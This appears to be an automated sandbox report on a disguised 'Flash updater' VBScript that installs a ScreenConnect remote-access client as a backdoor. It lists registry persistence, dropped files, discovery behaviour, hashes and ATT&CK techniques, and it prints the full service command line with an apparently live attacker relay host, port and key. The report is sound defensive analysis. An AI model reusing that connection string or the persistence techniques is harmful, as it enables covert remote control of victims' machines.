0475e0d95646c6d88a18d926b529115e1506a8350c1a6929ef3278d521b52274

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/07/2026, 06:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adobe-flash-updater.vbs
Size 3KB
Sample260703-g414eshs2j
SHA256 0475e0d95646c6d88a18d926b529115e1506a8350c1a6929ef3278d521b52274
MD5 876a6d344e1c2953ebdb23c5bbf584ae
SHA1 a60e894aba5e8f16a2fb0cdba49437011ce4fdcd
SHA512 90b7fc8d5afd40654387e0c12e9c099ae51622d684840f65a4dd3d481fcd8dd35104b0a77e6f95943141c27729e366debb64b64933a65fbedfa427cc7771c7ed
TLSH
T1FF611527FD0BC83196728A42D0676C4EDBE11257103294687E0D887C6FB2E6DDEF45AE
MD5 SHA1 SHA512 TLSH

Score

8^/10

backdoor discovery persistence privilege_escalation rat revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (dced0c98722de943)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (dced0c98722de943)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.gamedbd.com&p=8041&s=ff89f793-6658-493a-a16b-bafd182bdfaf&k=BgIAAACkAABSU0ExAAgAAAEAAQDZ%2b9VnLfivKwJVHeHqyKSNy%2bEDvUIdL7XvGZ1d8KYIeMI9NW8EJjq01exlTSHNf0rCmMzkqmDK72qTjm8ZVI3jUvw1K%2fBBJdNDknbd4tQP7pCHvBTzjaBYPmk2%2bSaknS5IVgbN3d%2bWapf1epWcqgK27Z5t1rMwh9CdDkFBxYn3faTEl3OAHaAZbuRJym6VlnJrd%2fm979ZYM%2bXjMazd091q30N8rcjUV4PZ9fNkiQziwG55Qq91xLhNHvKfWRyOnK6%2foJhF8MPiB10xiGj%2b0Yh8DPiz%2b%2fO9ZLir%2bkbe6UmU4%2fdesurofmCDbE%2bOyBtv37pc4B2GwbALdta99%2fg1oEDm&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA3qc5OM2qMUOYiHxwImzd2wAAAAACAAAAAAAQZgAAAAEAACAAAABI%2btDFnfMeBHb8jHUTCtQbkjhgAFWPYhqnq%2bV9nGt3LwAAAAAOgAAAAAIAACAAAACWSEQXE1JdMQA4kzJZgT2BYMSUz%2f9gI7WP51YDC0udsaAEAABL3KFkPyGNJa6ip4OBHPu7s0gGoTfrIuI6yYoxuXVkI6JId9kB9LnHIc9PmK3m1irCt9cQosjokGTmkBc61jv2Dn4fhO2Mv02xkUdG7k5%2fCkMFc4Q87l%2foaOcUtsxkLh68hH0e0WJw52kAOz5vQt%2f%2fA%2fgWq5UzbD0rSiB3i4lafF7hxlStTXrX97xtflJgjUL7vxU%2fVCE1uGzqcV0VyedTYzp8YWjAF75hwNJsZS26f8ghUg082XB8LzLyOPyUjW2LDET3CGROdtCWKyWOqJ4vDmKosM5yLCU5HlmVzI1u0zWSREFrDqJBLcvC2hENYDQpvtHEuN97qykq%2bpskYYRQx2cbNB4lWgLy1ox%2bNDRbuJgKbJVUcW7oUrssj5UU%2bwg65DDQc5Fqaknz%2b%2fGtetH5UgUNbfTFyhjMGF%2bAjJh6fQ6jR2WjM0xyhN4aXZaaF2Ud7SlqLtHLTM5cQnAo%2fBQ0tRX5c%2bGWvs4suVa0q2g5yN9JjMPezThA94QVDOL5%2f6fq991Q8CkRGF71v6SdL%2bGWGdaj%2b%2fQTo4y6KPIrJ8mU4rTlhditTVZQcObAB%2b0tJ0vAiloiCm5%2bG36qPqncm9VYF8JW%2fbHjQ1eP4Z03hYb5oMX58zNTz3OtoTgOFxy5ngagd31MAvBPlYZWq1tKQZNDZSSHObityfnWyr7I%2bJcXoa%2faPw955ifelV9UxFABsuzVfL29joX0lQ8fv8vBQNhrn3VMpUpCNm0x2a4yI8McJLpOGl7MC5cib1okRODhawwyKj6tYJP5m3aEr%2fuL4OwdY0HpmVZ3a9YZraryA6eb0ElvZn0KtPP1BTlL7mxcBLxRukz09P1eELJXjDI6n1uIYT4pZdbt9Ua2KB25Q2WzWjedkpHirhFzC2wPs2Y4mrWoMcsOfJ8rAHLyuXhFmxFqGWtNg8s43weV1Hg%2bHWHbhNVmKHcKidkjOZsPiZNsuq6AajbVd2l%2bevTHxVmJK%2f31%2bjvy80YwSN5p%2bnxCPnpEsAAidPnpTgVXpLJk9mx8AkgtWWeQy0wKJWBHP9jokiSlhp%2fi2cptlgWVF3MoMWPLLMKdmtm0THsUJYqar1wyggC2cFqO3BZ8b%2ff66m3gZi%2byC1NcKVgmnq3d%2bemnsjZNaeDU4smyX96rnEamTBalw4saCN28IH3KDZUo8YHW%2bbVpmUvAzlZcN3Xt1GWTNkcpLcsE7g%2fPW4hpR2EkFNk4RWYFM2i1w5ZEVRxRckr8r1ZLgh%2fXcaISCix%2fwH8%2f1S5uxyx49ji6wIqlJgHfGjDLKE3tJ6fC3wPcNBYMJ%2bRXRgabshkamFQrwVfdxHP9PiyeGQa%2b%2b%2fikr8jVfmGycqfv4Z%2fXdNeIX06bS29qhQZa2nA378p0zsEydNARNFhH2SA%2byu5Xms0FA43oK24v%2be26ehJxY48SW0ywLCEf5GVaY%2b6SoJN6zVxA%2b4tFbdjFwkxVzkVrEZfU2XOwnE9RN6wBQ6u%2f2xDTs4wkXGhzVLoreCIZ31%2fIJe%2f%2fuWpuhNcYrbg5clMm7ntWwyE1%2bl%2f7SOYXXSqikkPvlUTkZP%2fe2zpaA2mzujmDcR13kRpJQ1KNv%2fIeIkAAAAAcTM15NupGwnTl69NyKS6JVWF338WAgRUJXbHtWRmpQuRDGPRCDpprSPbdBPV6Fyr%2fYg7Z%2f9Y%2btkg5z6zwt5p5\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 4 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/files/0x000c00000001c63c-221.dat	revoked_cert_connectwise
behavioral2/files/0x000c00000001c639-256.dat	revoked_cert_connectwise
behavioral2/memory/2056-257-0x0000000004A40000-0x0000000004B12000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000c00000001c636-274.dat	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
2056	ScreenConnect.ClientService.exe
1464	ScreenConnect.WindowsClient.exe
5848	ScreenConnect.WindowsClient.exe

Loads dropped DLL 23 IoCs

pid	Process
5680	MsiExec.exe
6612	rundll32.exe
6612	rundll32.exe
6612	rundll32.exe
6612	rundll32.exe
6612	rundll32.exe
6612	rundll32.exe
6612	rundll32.exe
6612	rundll32.exe
6612	rundll32.exe
5680	MsiExec.exe
6588	MsiExec.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
704	msedge.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800640063006500640030006300390038003700320032006400650039003400330029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (dced0c98722de943)\osidfuow.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (dced0c98722de943)\osidfuow.tmp	ScreenConnect.ClientService.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe

Drops file in Windows directory 56 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Other	msedge.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIFB08.tmp	msiexec.exe
File created	C:\Windows\Installer\e58f339.msi	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1410883807\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\TransparentAdvertisers	msedge.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF06FEF6B71ABC834E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFA4B.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1558657380\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Staging	msedge.exe
File opened for modification	C:\Windows\Installer\e58f335.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B5C93B4E-07C3-373B-6584-3538CA7D4743}	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\LICENSE	msedge.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1558657380\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Social	msedge.exe
File created	C:\Windows\Installer\{B5C93B4E-07C3-373B-6584-3538CA7D4743}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1410883807\domain_actions.dll	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\Installer\e58f335.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File created	C:\Windows\Installer\wix{B5C93B4E-07C3-373B-6584-3538CA7D4743}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\~DF19AE83331EB3B1CD.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\{B5C93B4E-07C3-373B-6584-3538CA7D4743}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1558657380\safety_tips.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\CompatExceptions	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Cryptomining	msedge.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF61392276C635EE5A.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF63885552C3688E07.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Sigma\Analytics	msedge.exe
File opened for modification	C:\Windows\Installer\MSIF509.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIFA1B.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1558657380\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping704_1317948136\Mu\Analytics	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3696	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134275333457742387"	msedge.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe

Modifies registry class 38 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\ = "ScreenConnect Client (dced0c98722de943) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2581000985-3042091657-4068028891-1000\{D534841D-E6F0-4A9F-9786-4F4F04D44677}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-dced0c98722de943	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E4B39C5B3C70B37356485383ACD77434\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\ProductName = "ScreenConnect Client (dced0c98722de943)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\ProductIcon = "C:\\Windows\\Installer\\{B5C93B4E-07C3-373B-6584-3538CA7D4743}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\URL Protocol	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (dced0c98722de943)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\PackageCode = "E4B39C5B3C70B37356485383ACD77434"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Version = "402849799"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\54883E54FA27C936CDDEC08927D29E34	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\PackageName = "updater.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (dced0c98722de943)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-dced0c98722de943\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-dced0c98722de943\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\E4B39C5B3C70B37356485383ACD77434	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\54883E54FA27C936CDDEC08927D29E34\E4B39C5B3C70B37356485383ACD77434	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\E4B39C5B3C70B37356485383ACD77434\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-13C3-6E6F2A422C6D}	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
6428	msiexec.exe
6428	msiexec.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
2056	ScreenConnect.ClientService.exe
5540	msedge.exe
5540	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
704	msedge.exe
704	msedge.exe
704	msedge.exe
704	msedge.exe
704	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4688	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4688	msiexec.exe
Token: SeSecurityPrivilege	6428	msiexec.exe
Token: SeCreateTokenPrivilege	4688	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4688	msiexec.exe
